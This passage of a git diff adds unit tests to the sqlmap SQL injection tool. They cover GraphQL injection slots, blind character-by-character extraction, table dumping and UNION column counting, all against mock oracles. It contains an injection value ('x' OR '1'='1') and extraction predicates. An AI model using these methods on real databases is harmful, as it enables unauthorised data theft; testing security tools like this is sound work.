"name": "Creds", "inputFields": [{"name": "username", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}}, + slots) + paths = [s.targetArg for s in slots] + self.assertIn("input.filter.credentials.username", paths) + + slot = [s for s in slots if s.targetArg == "input.filter.credentials.username"][0] + q = gql._buildQuery(slot, "PWN") + self.assertIn('input: {filter:{credentials:{username:"PWN"}}}', q) + finally: + gql._inputFields.clear() + + def test_recursive_input_slot_cycle_bounded(self): + # a self-referential input object must not loop forever during slot discovery + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nnInput("Node"), None), ("val", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + tbn = {"Node": {"kind": "INPUT_OBJECT", "name": "Node", "inputFields": [ + {"name": "child", "type": self._nnInput("Node")}, {"name": "val", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}} + gql._inputSlots("mutation", "Mutation", "f", [("n", self._nnInput("Node"), None)], + "n", self._nnInput("Node"), "OBJECT", "R", "{ id }", tbn, slots) + self.assertTrue(any(s.targetArg.endswith(".val") for s in slots)) # terminates + finds a leaf + finally: + gql._inputFields.clear() + + +# A minimal but realistic introspection schema: query user(id: String, limit: Int): User +_GQL_SCHEMA = { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "id", "type": {"kind": "SCALAR", "name": "String"}, "defaultValue": None}, + {"name": "limit", "type": {"kind": "SCALAR", "name": "Int"}, "defaultValue": None}, + ], "type": {"kind": "OBJECT", "name": "User"}}, + ]}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "addUser", "args": [ + {"name": "name", "type": {"kind": "SCALAR", "name": "String"}, "defaultValue": None}, + ], "type": {"kind": "OBJECT", "name": "User"}}, + ]}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "name", "type": {"kind": "SCALAR", "name": "String"}, "args": []}, + {"name": "uid", "type": {"kind": "SCALAR", "name": "ID"}, "args": []}, + ]}, + ], +} + + +class TestGraphqlSchemaWalk(unittest.TestCase): + def setUp(self): + self._sfields = dict(gql._inputFields) + + def tearDown(self): + gql._inputFields.clear() + gql._inputFields.update(self._sfields) + + def test_extract_slots(self): + slots = gql._extractSlots(_GQL_SCHEMA) + byArg = dict((s.targetArg, s) for s in slots) + self.assertIn("id", byArg) + self.assertEqual(byArg["id"].strategy, "string") + self.assertEqual(byArg["id"].operation, "query") + self.assertIn("limit", byArg) + self.assertEqual(byArg["limit"].strategy, "numeric") + # the mutation slot is harvested too (reported but not exercised by the scanner) + self.assertIn("name", byArg) + self.assertEqual(byArg["name"].operation, "mutation") + + def test_return_selection_set(self): + slots = gql._extractSlots(_GQL_SCHEMA) + slot = next(s for s in slots if s.targetArg == "id") + self.assertEqual(slot.returnKind, "OBJECT") + self.assertIn("name", slot.returnSel) + self.assertIn("uid", slot.returnSel) + + def test_scalar_fields(self): + typeByName = {"User": _GQL_SCHEMA["types"][2], + "String": {"kind": "SCALAR", "name": "String"}, + "ID": {"kind": "SCALAR", "name": "ID"}} + names = gql._scalarFields(_GQL_SCHEMA["types"][2], typeByName) + self.assertEqual(set(names), {"name", "uid"}) + + def test_render_selection(self): + self.assertIsNone(gql._renderSelection("SCALAR", "String", [], {})) + sel = gql._renderSelection("OBJECT", "User", ["name", "uid"], {}) + self.assertEqual(sel, "{ name uid }") + + +class TestGraphqlQueryBuilding(unittest.TestCase): + def setUp(self): + self._sfields = dict(gql._inputFields) + self.slots = gql._extractSlots(_GQL_SCHEMA) + self.strSlot = next(s for s in self.slots if s.targetArg == "id") + self.numSlot = next(s for s in self.slots if s.targetArg == "limit") + + def tearDown(self): + gql._inputFields.clear() + gql._inputFields.update(self._sfields) + + def test_build_query_string_arg(self): + q = gql._buildQuery(self.strSlot, "x' OR '1'='1") + self.assertTrue(q.startswith("{user:user(")) + self.assertIn('id:"x\' OR \'1\'=\'1"', q) + self.assertNotIn("limit", q) # optional sibling with no default is OMITTED (P0-2) + self.assertIn("{ name uid }", q) + + def test_build_query_numeric_rejects_non_numeric(self): + self.assertEqual(gql._buildQuery(self.numSlot, "notanumber"), "") + + def test_build_query_numeric_accepts_digit(self): + self.assertIn("limit:42", gql._buildQuery(self.numSlot, "42")) + + def test_build_batch(self): + query, aliases = gql._buildBatch(self.strSlot, ["a", "b", "c"]) + self.assertEqual(aliases, ["a0", "a1", "a2"]) + self.assertIn("a0:user(", query) + self.assertIn("a2:user(", query) + + def test_build_batch_aborts_on_unembeddable(self): + query, aliases = gql._buildBatch(self.numSlot, ["1", "notnum"]) + self.assertEqual((query, aliases), ("", [])) + + def test_mutation_prefix(self): + mutSlot = next(s for s in self.slots if s.operation == "mutation") + self.assertTrue(gql._buildQuery(mutSlot, "x").startswith("mutation {")) + + +def _make_sql_truth(secret, dialect): + """A generic boolean SQL oracle: evaluate the LENGTH / ASCII-SUBSTRING / bit predicates + that _inferExpr / _inferExprBatched emit, against a known `secret`, using `dialect`'s + rendering. Independent of the concrete expression text.""" + + def truth(cond): + m = re.search(r"(?:CHAR_LENGTH|LENGTH|LEN)\(\((.+?)\)\)\s*(>=|>|=)\s*(\d+)", cond) + if m: + op, n, L = m.group(2), int(m.group(3)), len(secret) + return (L >= n) if op == ">=" else (L > n) if op == ">" else (L == n) + m = re.search(r"\((?:ASCII|UNICODE)\((?:SUBSTRING|SUBSTR)\(\((.+?)\),(\d+),1\)\)\s*&\s*(\d+)\)>0", cond) + if m: + pos, bit = int(m.group(2)), int(m.group(3)) + c = ord(secret[pos - 1]) if pos - 1 < len(secret) else 0 + return (c & bit) > 0 + m = re.search(r"(?:ASCII|UNICODE)\((?:SUBSTRING|SUBSTR)\(\((.+?)\),(\d+),1\)\)\s*(>=|>|=)\s*(\d+)", cond) + if m: + pos, op, n = int(m.group(2)), m.group(3), int(m.group(4)) + c = ord(secret[pos - 1]) if pos - 1 < len(secret) else 0 + return (c >= n) if op == ">=" else (c > n) if op == ">" else (c == n) + if cond == "1=1": + return True + if cond == "1=2": + return False + return False + + return truth + + +class TestGraphqlBlindInference(unittest.TestCase): + DIALECT = gql.DIALECTS["MySQL"] + + def test_infer_expr_recovers_string(self): + truth = _make_sql_truth("Hello", self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "version()"), "Hello") + + def test_infer_expr_recovers_with_symbols(self): + secret = "root@%" + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "CURRENT_USER()"), secret) + + def test_infer_expr_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" # e-acute (U+00E9) + snowman (U+2603): beyond printable ASCII + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "note"), secret) + + def test_infer_expr_empty_value(self): + truth = _make_sql_truth("", self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "expr"), "") + + def test_infer_expr_batched_recovers_string(self): + secret = "MariaDB" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "version()"), secret) + + def test_infer_expr_batched_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "note"), secret) + + def test_infer_expr_batched_empty(self): + truth = _make_sql_truth("", self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "expr"), "") + + def test_inferrer_picks_batched_when_supported(self): + secret = "abc" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + infer = gql._inferrer(truth, truthBatch, self.DIALECT) + self.assertEqual(infer("version()"), secret) + + def test_inferrer_falls_back_to_sequential(self): + secret = "xyz" + truth = _make_sql_truth(secret, self.DIALECT) + infer = gql._inferrer(truth, None, self.DIALECT) + self.assertEqual(infer("version()"), secret) + + def test_fingerprint(self): + for dbms, dialect in gql.DIALECTS.items(): + truth = lambda cond, expected=dialect.fingerprint: cond == expected + self.assertEqual(gql._fingerprint(truth), dbms) + + def test_fingerprint_unknown(self): + self.assertIsNone(gql._fingerprint(lambda cond: False)) + + +class TestGraphqlDumpTable(unittest.TestCase): + DIALECT = gql.DIALECTS["MySQL"] + + def test_dump_table_grid(self): + # Columns and rows are BOTH enumerated by ordinal position (COUNT + per-index), + # never a whole-list GROUP_CONCAT the back-end would silently truncate. + d = self.DIALECT + colFrom = d.columnFrom("users") + responses = { + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", + d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + } + + def infer(expr, maxLen=gql.MAX_LENGTH): + return responses.get(expr) + + columns, rows = gql._dumpTable(infer, self.DIALECT, "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "alice"], ["2", "bob"]]) + + def test_dump_table_no_columns(self): + self.assertIsNone(gql._dumpTable(lambda e, maxLen=0: "", self.DIALECT, "users")) + + +class TestGraphqlParseRows(unittest.TestCase): + def test_parse_rows_list(self): + page = '{"data": {"users": [{"id": 1, "name": "a"}, {"id": 2, "name": "b"}]}}' + columns, rows = gql._parseRows(page, None) + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "a"], ["2", "b"]]) + + def test_parse_rows_single_object(self): + page = '{"data": {"user": {"id": 7, "name": "z"}}}' + columns, rows = gql._parseRows(page, None) + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["7", "z"]]) + + def test_parse_rows_null_data(self): + self.assertIsNone(gql._parseRows('{"data": {"user": null}}', None)) + + def test_parse_rows_non_json(self): + self.assertIsNone(gql._parseRows("not json", None)) + + def test_grid_empty(self): + self.assertEqual(gql._grid([], []), "(empty)") + + def test_grid_renders(self): + out = gql._grid(["a", "b"], [["1", "22"]]) + self.assertIn("| a | b |", out) + self.assertIn("| 1 | 22 |", out) + + +# =========================================================================== +# Blind inference: lib/techniques/blind/inference.py +# =========================================================================== + +# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). A parseable template +# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, + "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, + "resumeValues": True, "inferenceMode": False} + + +class _InferenceCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _install_oracle(self, secret): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + + @staticmethod + def _reset_thread(): + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + + def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): + self._install_oracle(secret) + self._reset_thread() + if length is None: + length = len(secret) + return inf.bisection(TEMPLATE, expression, length=length, **kwargs) + + +class TestTrivialReturns(_InferenceCase): + def test_none_payload(self): + # payload is None -> (0, None) without ever touching the oracle + self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) + + def test_zero_length(self): + # length == 0 -> (0, "") short-circuit + self._install_oracle("ignored") + self._reset_thread() + self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) + + +class TestRangeLimiting(_InferenceCase): + SECRET = "ABCDEFGH" + + def test_first_char_arg(self): + # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" + _, value = self._bisect(self.SECRET, firstChar=3) + self.assertEqual(value, "CDEFGH") + + def test_last_char_arg(self): + # lastChar=4 -> stop after the 4th character + _, value = self._bisect(self.SECRET, lastChar=4) + self.assertEqual(value, "ABCD") + + def test_conf_first_char(self): + conf.firstChar = 4 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "DEFGH") + + def test_conf_last_char(self): + conf.lastChar = 3 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "ABC") + + def test_first_and_last_window(self): + # combined window: chars 3..6 inclusive -> "CDEF" + _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) + self.assertEqual(value, "CDEF") + + +class TestHexConvert(_InferenceCase): + def test_hex_output_decoded(self): + # --hex: the retrieved value is a hex string the engine decodes on the way out + conf.hexConvert = True + hexed = "48656C6C6F" # "Hello" + _, value = self._bisect(hexed) + self.assertEqual(value, "Hello") + self.assertEqual(value, decodeDbmsHexValue(hexed)) + + +class TestProcessCharHook(_InferenceCase): + def test_process_char_applied_to_each_char(self): + # kb.data.processChar transforms every assembled character + kb.data.processChar = lambda c: c.upper() + _, value = self._bisect("abcde") + self.assertEqual(value, "ABCDE") + + +class TestResumeFromHashDB(_InferenceCase): + """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). + Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" + + def setUp(self): + _InferenceCase.setUp(self) + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + conf.hashDB = HashDB(self.path) + # hashDBRetrieve/Write key off these + self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + conf.hostname = "test.invalid" + conf.path = "/" + conf.port = 80 + + def tearDown(self): + conf.hostname, conf.path, conf.port = self._saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + _InferenceCase.tearDown(self) + + def test_full_value_resumed(self): + # a complete cached value short-circuits the whole bisection (0 queries) + hashDBWrite("SELECT cached", "RESUMED") + conf.hashDB.flush() + count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) + self.assertEqual(value, "RESUMED") + self.assertEqual(count, 0) + + def test_partial_value_continued(self): + # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix + # and extracts only the remaining characters + kb.inferenceMode = True # partial markers are honored only in inference mode + hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) + conf.hashDB.flush() + count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) + self.assertEqual(value, "ABCDE") + self.assertGreater(count, 0) # it did real work for "CDE" + + +class TestQueryOutputLength(_InferenceCase): + def test_length_retrieved(self): + # queryOutputLength forges a LENGTH() expression and runs bisection with the + # DIGITS charset; the mock "secret" is the textual length itself + self._install_oracle("42") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) + + def test_length_single_digit(self): + self._install_oracle("7") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) + + def test_digits_charset_extracts_number(self): + # direct bisection with the DIGITS charset (queryOutputLength's inner call) + _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) + self.assertEqual(value, "2026") + + +class TestConfigUnion(unittest.TestCase): + """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" + + _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._CONF} + self._saved_uchar = kb.get("uChar") + for k, v in self._CONF.items(): + conf[k] = v + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.uChar = self._saved_uchar + + def test_char_and_range(self): + uu.configUnion(char="NULL", columns="2-6") + self.assertEqual(kb.uChar, "NULL") + self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) + + def test_single_column(self): + uu.configUnion(char="NULL", columns="4") + self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) + + def test_uchar_substitution_quoted(self): + # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template + conf.uChar = "test" + uu.configUnion(char="x[CHAR]x", columns="1") + self.assertEqual(kb.uChar, "x'test'x") + + def test_uchar_substitution_digit(self): + # a digit conf.uChar is substituted unquoted + conf.uChar = "88" + uu.configUnion(char="[CHAR]", columns="1") + self.assertEqual(kb.uChar, "88") + + def test_conf_ucols_overrides_columns_arg(self): + # conf.uCols takes precedence over the columns argument + conf.uCols = "3-9" + uu.configUnion(char="NULL", columns="1-2") + self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) + + def test_non_integer_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") + + def test_inverted_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") + + def test_non_string_char_ignored(self): + # a non-string char leaves kb.uChar untouched (early return) + kb.uChar = "SENTINEL" + uu.configUnion(char=None, columns="1") + self.assertEqual(kb.uChar, "SENTINEL") + + +class TestValueParallelEligibility(unittest.TestCase): + """ + inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency). + Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP + measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel + (boolean or the timeless oracle) may run under either '--threads' or '--eta'. + """ + + def setUp(self): + self._avail = set() + self._realAvail = inject.isTechniqueAvailable + inject.isTechniqueAvailable = lambda t: t in self._avail + self._saved = (conf.threads, conf.eta, kb.get("timeless")) + + def tearDown(self): + inject.isTechniqueAvailable = self._realAvail + conf.threads, conf.eta, kb.timeless = self._saved + + def _elig(self, threads, eta, techniques, timeless=None): + conf.threads, conf.eta, kb.timeless = threads, eta, timeless + self._avail = set(techniques) + return inject.valueParallelEligible() + + def test_single_thread_eta_time_based_qualifies(self): + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME})) + + def test_multi_thread_time_based_never_parallel(self): + self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME})) + self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME})) + + def test_boolean_qualifies_under_threads_or_eta(self): + self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_plain_single_thread_no_eta_stays_classic(self): + self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_timeless_is_concurrency_safe(self): + self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object())) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py new file mode 100644 index 00000000000..1197bc505c1 --- /dev/null +++ b/tests/test_texthelpers.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Text-processing helpers in lib/core/common.py: +normalizeUnicode (accent folding), filterStringValue (charset whitelist), +parseFilePaths (absolute-path harvesting from error pages -> kb.absFilePaths), +getSafeExString (safe exception rendering). + +parseFilePaths in particular feeds path disclosure / file-read targeting, so +its extraction is pinned with realistic PHP/ASP error strings. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import normalizeUnicode, filterStringValue, parseFilePaths, getSafeExString +from lib.core.data import kb + + +class TestNormalizeUnicode(unittest.TestCase): + def test_strips_accents(self): + self.assertEqual(normalizeUnicode(u"caf\xe9 r\xe9sum\xe9"), u"cafe resume") + + def test_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"plain ascii 123"), u"plain ascii 123") + + +class TestFilterStringValue(unittest.TestCase): + def test_keep_lowercase(self): + self.assertEqual(filterStringValue("abc123!@#", r"[a-z]"), "abc") + + def test_keep_digits(self): + self.assertEqual(filterStringValue("a1b2c3", r"[0-9]"), "123") + + def test_all_match(self): + self.assertEqual(filterStringValue("abc", r"[a-z]"), "abc") + + +class TestParseFilePaths(unittest.TestCase): + def setUp(self): + self.addCleanup(setattr, kb, "absFilePaths", kb.get("absFilePaths")) + kb.absFilePaths = set() + + def test_unix_paths_from_php_error(self): + parseFilePaths("Warning: include(/var/www/html/config.php) failed " + "to open stream in /var/www/html/index.php on line 5") + self.assertIn("/var/www/html/config.php", kb.absFilePaths) + self.assertIn("/var/www/html/index.php", kb.absFilePaths) + + def test_windows_path(self): + # exact full path (not a substring) - a truncated harvest is a real defect for file-read targeting + parseFilePaths("Fatal error in C:\\inetpub\\wwwroot\\app\\index.asp on line 1") + self.assertIn("C:\\inetpub\\wwwroot\\app\\index.asp", kb.absFilePaths, + msg="windows path not harvested in full: %s" % kb.absFilePaths) + + def test_quoted_paths_harvested(self): + # paths delimited by a leading quote (Python/Java/.NET stack traces) must be harvested too + parseFilePaths('File "/usr/lib/python3.11/site-packages/app.py", line 10') + parseFilePaths("Cannot read '/opt/tomcat/webapps/app/WEB-INF/web.xml' now") + parseFilePaths('Could not find file "C:\\data\\config.ini".') + self.assertIn("/usr/lib/python3.11/site-packages/app.py", kb.absFilePaths) + self.assertIn("/opt/tomcat/webapps/app/WEB-INF/web.xml", kb.absFilePaths) + self.assertIn("C:\\data\\config.ini", kb.absFilePaths) + + def test_quoted_non_path_ignored(self): + # a leading quote must not turn ordinary quoted words or URLs into "paths" + parseFilePaths("error: 'foobar' invalid; see 'https://example.com/help' for info") + self.assertEqual(kb.absFilePaths, set()) + + +class TestGetSafeExString(unittest.TestCase): + def test_format(self): + self.assertEqual(getSafeExString(ValueError("boom")), u"ValueError: boom") + + def test_runtime_error(self): + # RuntimeError keeps its name across py2/py3 (unlike IOError, which aliases to OSError on py3) + self.assertEqual(getSafeExString(RuntimeError("oops")), u"RuntimeError: oops") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_threads.py b/tests/test_threads.py new file mode 100644 index 00000000000..602d2c5acb8 --- /dev/null +++ b/tests/test_threads.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Threading helpers in lib/core/threads.py: the thread-local data model, +current-thread accessors, the exception-isolating wrapper, and runThreads() +(the worker-pool driver used throughout extraction). Exercised with trivial, +fast, network-free workers. +""" + +import os +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import threads as T +from lib.core.data import conf, kb +from thirdparty.six.moves import queue as _queue + + +class TestThreadData(unittest.TestCase): + def test_reset_initializes_fields(self): + td = T.getCurrentThreadData() + td.retriesCount = 5 + td.reset() + self.assertEqual(td.retriesCount, 0) + self.assertEqual(td.valueStack, []) + self.assertFalse(td.disableStdOut) + + def test_get_current_thread_data_is_threadlocal(self): + # ThreadData subclasses threading.local: the wrapper object is shared, but its + # ATTRIBUTE STATE is per-thread. Verify both: same object, independent state. + main = T.getCurrentThreadData() + self.assertIs(main, T.getCurrentThreadData()) # stable within a thread + self.addCleanup(main.reset) # don't leak the main thread's mutated state to later tests + + main.retriesCount = 111 + + other = {} + + def worker(): + td = T.getCurrentThreadData() + other["same_obj"] = (td is main) + # a fresh thread gets reset()-initialised state, NOT the main thread's 111 + other["retries_seen"] = td.retriesCount + td.retriesCount = 222 + + t = threading.Thread(target=worker) + t.start() + t.join() + + # the wrapper object identity is shared (threading.local semantics) ... + self.assertTrue(other["same_obj"]) + # ... but the worker never saw the main thread's mutation (thread-local state) ... + self.assertEqual(other["retries_seen"], 0) + # ... and the worker's own mutation did not leak back into the main thread + self.assertEqual(main.retriesCount, 111) + + def test_get_current_thread_name(self): + self.assertEqual(T.getCurrentThreadName(), threading.current_thread().name) + + +class TestExceptionHandledFunction(unittest.TestCase): + def test_success_runs_function(self): + calls = [] + T.exceptionHandledFunction(lambda: calls.append(1)) + self.assertEqual(calls, [1]) + + def _capture_errors(self, silent): + """Run a raising worker, returning the list of logged error messages.""" + errors = [] + + class _Rec(object): + def error(self, msg, *a): + errors.append(msg % a if a else msg) + + def __getattr__(self, name): + return lambda *a, **k: None + + saved_logger = T.logger + saved_continue = kb.get("threadContinue") + saved_multi = kb.get("multipleCtrlC") + T.logger = _Rec() + kb.threadContinue = True + kb.multipleCtrlC = False + try: + # must never propagate, regardless of the silent flag + T.exceptionHandledFunction(lambda: 1 / 0, silent=silent) + finally: + T.logger = saved_logger + kb.threadContinue = saved_continue + kb.multipleCtrlC = saved_multi + return errors + + def test_non_silent_logs_error(self): + # silent=False (with threadContinue) routes the swallowed exception to logger.error + errors = self._capture_errors(silent=False) + self.assertTrue(errors, msg="non-silent mode logged no error") + self.assertTrue(any("ZeroDivisionError" in e for e in errors), + msg="error message did not name the exception: %r" % errors) + + def test_silent_logs_nothing(self): + # silent=True gates the logging: the exception is swallowed without any error log + errors = self._capture_errors(silent=True) + self.assertEqual(errors, [], msg="silent mode unexpectedly logged: %r" % errors) + + def test_keyboardinterrupt_propagates(self): + def boom(): + raise KeyboardInterrupt + self.assertRaises(KeyboardInterrupt, T.exceptionHandledFunction, boom) + + +class TestSetDaemon(unittest.TestCase): + def test_sets_daemon_flag(self): + t = threading.Thread(target=lambda: None) + T.setDaemon(t) + self.assertTrue(t.daemon) + + +class TestRunThreads(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("threads", "hashDB")} + conf.hashDB = None + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + + def test_workers_drain_shared_queue(self): + q = _queue.Queue() + total = 50 + for i in range(total): + q.put(i) + seen = [] + lock = threading.Lock() + + def worker(): + while True: + try: + item = q.get_nowait() + except _queue.Empty: + break + with lock: + seen.append(item) + + conf.threads = 4 + T.runThreads(4, worker, startThreadMsg=False) + self.assertEqual(sorted(seen), list(range(total))) + + def test_single_thread_runs_worker(self): + calls = [] + conf.threads = 1 + T.runThreads(1, lambda: calls.append(1), startThreadMsg=False) + self.assertEqual(calls, [1]) + + def test_cleanup_function_invoked(self): + flags = [] + conf.threads = 2 + T.runThreads(2, lambda: None, + cleanupFunction=lambda: flags.append(1), + startThreadMsg=False) + self.assertTrue(flags) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py new file mode 100644 index 00000000000..f0592fe4e10 --- /dev/null +++ b/tests/test_union_engine.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The UNION-based column-count detection engine (lib/techniques/union/test.py). + +_findUnionCharCount discovers how many columns a UNION injection needs. Its +fastest path is the ORDER BY technique: a valid target accepts ORDER BY 1..N and +errors on ORDER BY N+1, so it binary-searches for N. We drive the REAL function +against a mock oracle (Request.queryPage replaced) that errors once the requested +column index exceeds a known true count - exercising the actual detection + +binary search with no live target. + +This requires the full injection context (conf.parameters / conf.paramDict / +kb.injection) because column detection builds real payloads via agent.payload. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.union.test as ut + +MARKER = "MARKER42" +VALID_PAGE = "results %s" % MARKER + +_CONF = {"string": MARKER, "notString": None, "regexp": None, "code": None, + "uCols": None, "uColsStart": 1, "uColsStop": 50, "base64Parameter": ()} +_KB = {"heavilyDynamic": False, "errorIsNone": False, "futileUnion": False, + "uChar": "NULL", "forceWhere": None} + + +class TestOrderByColumnCount(unittest.TestCase): + def setUp(self): + self._sc = {k: conf.get(k) for k in _CONF} + self._sk = {k: kb.get(k) for k in _KB} + self._sp = (conf.get("parameters"), conf.get("paramDict")) + self._sqp = Connect.queryPage + self._stmpl = kb.get("pageTemplate") + self._sinj = (kb.injection.place, kb.injection.parameter) + + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + kb.pageTemplate = VALID_PAGE + 